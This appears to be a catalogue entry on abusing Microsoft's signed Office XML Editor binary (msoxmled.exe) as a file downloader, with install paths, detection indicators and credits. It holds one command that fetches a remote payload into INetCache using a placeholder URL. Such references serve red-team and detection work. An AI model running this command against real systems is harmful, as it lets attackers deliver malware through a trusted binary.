msoxmled.exe

type: OSBinaries

Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.

Full path

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\msoxmled.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\msoxmled.exe

Commands

DownloadUser T1105
It will download a remote payload and place it in INetCache.
```
msoxmled.exe /verb open {REMOTEURL}
```
Downloads payload from remote server using the Microsoft Office XML Editor.
os: Windows 10, Windows 11
Download: INetCache

Detection

IOC`msoxmled.exe` making network connections to external URLs
IOCUnexpected file downloads initiated by `msoxmled.exe`
IOCEvent ID 1 with Image: `msoxmled.exe` and CommandLine: `/verb open`

Resources

https://learn.microsoft.com/en-us/answers/questions/4805030/where-is-msoxmled-exe-for-office-professional-2013

acknowledgement: Bogac Kaya @bogackayaa, Furkan Celik @frknclk034